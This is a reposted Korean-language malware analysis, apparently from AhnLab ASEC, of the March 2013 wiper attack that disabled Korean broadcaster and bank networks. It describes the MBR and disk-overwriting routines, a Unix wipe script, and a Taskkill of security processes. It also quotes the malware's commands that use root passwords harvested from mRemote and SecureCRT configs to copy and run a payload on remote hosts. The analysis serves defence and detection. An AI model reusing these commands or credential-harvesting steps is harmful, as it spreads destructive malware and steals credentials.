청호PENTEST - Professional Penetration Testing Company

Select Language
조회 수 : 847
2013.03.21 (07:21:52)

3월 20일 14시경 주요 방송사 및 은행 전산망 장애가 발생하는 사고가 한국에서 발생하였으며, ASEC에서는 악성코드 감염 후 디스크 손상으로 부팅 불가로 인해 장애가 발생한 것으로 확인하였다.


현재 해당 악성코드는 운영체제에 따라 디스크를 손상시키는 기능이 포함되어 있으며, 상세한 디스크 손상 내용은 아래 분석 정보에 기술하였다.


해당 악성코드는 V3 엔진(엔진버전:  2013.03.20.06 이상)으로 업데이트 할 경우 검사 및 치료가 가능하며, 3월 20일 오후 6시경부터 제공 중인 전용백신으로도 검사 및 치료 할 수 있다.


현재까지 ASEC에서 분석한 이번 주요 방송사 및 은행 전산망 장애를 유발한 악성코드는 다음 이미지와 같이 A 케이스와 B 케이스로 나누어서 발생하였다.




우선 A 케이스에 사용되었던 파일들에 대한 세부 분석 내용은 다음과 같다.


우선 드로퍼인 File A는  %Temp% 폴더에 다음 파일들을 생성하게 된다.


1) File B : MBR 파괴 기능 수행

2) File C : UPX 압축 된 SSL 연결을 위한 PUTTY 툴

3) File D : UPX 압축된 SFTP 연결을 위한 PUTTY 툴

4) File E : UNIX 계열 시스템 DISK를 파괴하는 스크립트


File E 스크립트가 대상으로 하는 시스템은 AIX Unix, HP Unix, Solaris 및 Linux 이다.


AIX, HP, Solaris 3개 시스템에서는 DD 명령어로 디스크를 10MB 및 81MB 크기 만큼 0으로 덮어 쓰기 하며, Linux 시스템에서는 다음의 디렉토리를 삭제한다.


/kernel/ 

/usr/ 

/etc/ 

/home/


File A에 의해 생성된 File B가 실행이 되면, %Temp% 폴더에 ~v3.log 파일이 존재하는지 확인 하게 된다. 만약 해당 파일이 존재 하지 않다면 감염 된 시스템의 MBR(Master Boot Recoard) 및 하드 디스크를 파괴하게 된다.


그리고 File A 외부에서 원격 접속을 시도하기 위해, 다음 경로의 환경 설정 파일인 confCons.xml가 존재하는지 확인 하게 된다.


- Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )

C:\Documents and settings\Administrator\Local Settings\Application Data\Felix_Deimel\mRemote\confCons.xml


- Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )

C:\Users\AppData\Local\Felix_Deimel\mRemote\confCons.xml


만약 confCons.xml가 존재 할 경우에는 다음 문자열에 해당하는 내용을 추출한다.


Username="root"

Protocol="SSH"

Password=

Hostname

Descr

Panel

Port

Password


그리고 하나의 스레드를 생성 한 후 앞서 획득한 문자열들을 조합하여 다음의 명령을 실행하게 된다.


%Temp%\conime.exe -batch -P [port] -l root -pw  %Temp%\~pr1.tmp [host]:/tmp/cups

%Temp%\alg.exe -batch -P [port] -l root -pw  [host] "chmod 755 /tmp/cups;/tmp/cups"


이와 함께  외부에서 원격 접속을 시도하기 위한 다른 방법으로 다음 경로의 환경 설정 파일이 존재하는 확인하게 된다.


- Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )

C:\Documents and settings\Administrator\Application Data\VanDyke\Config\ Sessions\*.ini


- Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )

C:\Users\AppData\Roaming\VanDyke\Config\Sessions\*.ini


만약 경 설정 파일이 존재 할 경우에는 다음 문자열에 해당하는 내용을 추출하게 된다.


S:"Protocol Name"=SSH

S:"Username"=root

D:"Session Password Saved"=00000001

S:"Hostname"=

S:"Password"=

D:"[SSH2] Port"=


그리고 하나의 스레드를 생성 한 후 앞서 획득한 문자열들을 조합하여 다음의 명령을 실행하게 된다.


%Temp%\conime.exe -batch -P [port] -l root -pw  %Temp%\~pr1.tmp [host]:/tmp/cups

%Temp%\alg.exe -batch -P [port] -l root -pw  [host] "chmod 755 /tmp/cups;/tmp/cups"


MBR(Master Boot Recoard) 및 하드 디스크를 파괴하는 기능을 수행하는 File B는 아래와 같은 파일 매핑 오브젝트(FileMapping Object)를 이용하여 동기화 한 후 하나의 프로세스 만이 실행되도록 한다.


JO840112-CRAS8468-11150923-PCI8273V



그리고  %SystemDirectory%\TEMP\~v3.log 이름의 파일이 존재하는지 확인 한 후, 만약 존재하지 않는다면 MBR(Master Boot Recoard) 및 하드 디스크를 파괴하는 기능을 수행하게 된다.


이와 함께 Taskkill 명령을 WinExeC API로 호출 하여 국내 보안 소프트웨어 프로세스를 종료 하게 된다.


Taskkill /F /IM pasvc.exe

askkill /F /IM clisvc.exe


File B는 감염 된 시스템의 윈도우(Windows) 버전에 따라 서로 다른 하드 디스크 파괴 스레드(Thread) 를 생성하게 된다.


1) Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )


* 물리 디스크의 MBR과 VBR 등을 "PRINCPES" 문자열로 덮어 쓰기


최대 10개 까지 물리 디스크( \\PHYSICALDRIVE0 ~ \\PHYSICALDRIVE9 )를 열어 각 물리 디스크의 MBR과 VBR을 "PRINCPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 확장 파티션을 사용하고 있는 시스템의 경우에는 확장 파티션의 각 파티션의 VBR까지 파괴의 대상이 된다.


* 논리 드라이브를 "PRINCPES" 문자열로 덮어 쓰기


B:\ 부터 Z:\ 까지 모든 논리 드라이브 중에서 드라이브 타입(Drive Type)이 DRIVE_REMOVABLE이나 DRIVE_FIXED인 드라이브의 데이터를 "PRINCIPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 덮어 쓰게 되는 데이터는 약  5.3MB 간격으로 100KB 씩 덮어 쓰게 된다.


2) Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )


* 물리 디스크의 MBR과 VBR 등을 "PRINCPES" 문자열로 덮어 쓰기


최대 10개 까지 물리 디스크( \\PHYSICALDRIVE0 ~ \\PHYSICALDRIVE9 )를 열어 각 물리 디스크의 MBR과 VBR을 "PRINCPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 확장 파티션을 사용하고 있는 시스템의 경우에는 확장 파티션의 각 파티션의 VBR까지 파괴의 대상이 된다.


* 모든 논리 드라이브의 데이터를 "PRINCPES" 문자열로 덮어 쓴 후 삭제


모 든 논리 드라이브의 데이터를 "PRINCPES" 문자열을 반복하여 덮어 씀으로써 원본 파일 내용을 제거 한 뒤, 모든 파일을 DeleteFile API로 삭제하고 모든 디렉토리를 RemoveDirectoryA API로 삭제 한다. 그리고 D:\부터 차례대로 드라이브의 파일 시스템을 제거 한 뒤, 마지막으로 C:\에서 제거한다. 그러나, C:\의 %SystemDirectory%, %ProgramData%, %ProgramFiles% 세 경로의 파일은 제거 하지 않는다.



추가로 확인된 File F는 File B와 동일한 기능을 수하게 되나,  아래와 같은 세가지 다른 차이점을 가지고 있다.


1) File F는 File B가 가지고 있는 ~V3.log 파일의 존재 여부를 가지고 하드 디스크 파괴 여부를 결정하는 기능이 포함되어 있지 않다.


2) File B는 "PRINCPES" 문자열을 이용하여 덮어쓰기를 수행하게 되나, File F는 "HASTATI" 문자열을 이용하여 덮어쓰기를 수행하게 된다.


3) File B는 실행 즉시 특정 문자열을 이용해 덮어 쓰기를 수행하게 되는 반면에, File F는 2013년 03월 20일 14시 이후에 특정 문자열을 이용해 덮어 쓰기를 수행하게 된다.


현재까지 이번 전산망 장애 관련 악성코드들 모두 V3 제품 군에서 다음과 같이 진단한다.


Win-Trojan/Agent.24576.JPF (2013.03.20.06)

Win-Trojan/Agent.24576.JPG (2013.03.20.07)

Trojan/Win32.XwDoor (2013.03.20.07)

Dropper/Eraser.427520 (2013.03.20.07)

SH/Eraer (2013.03.20.07)


현재 ASEC에서는 추가적인 정보들을 지속적으로 수집하며 관련 된 악성코드들의 상세한 분석 정보를 작성 중에 있다. 


그러므로 해당  정보는 수시로 업데이트 될 예정이다.


원문 http://asec.ahnlab.com/926

Tag List

서비스 링크

X
Login

브라우저를 닫더라도 로그인이 계속 유지될 수 있습니다. 로그인 유지 기능을 사용할 경우 다음 접속부터는 로그인을 하실 필요가 없습니다. 단, 게임방, 학교 등 공공장소에서 이용 시 개인정보가 유출될 수 있으니 꼭 로그아웃을 해주세요.

아이디가 없으신 분은

회원가입 후 이용하실 수 있습니다.

X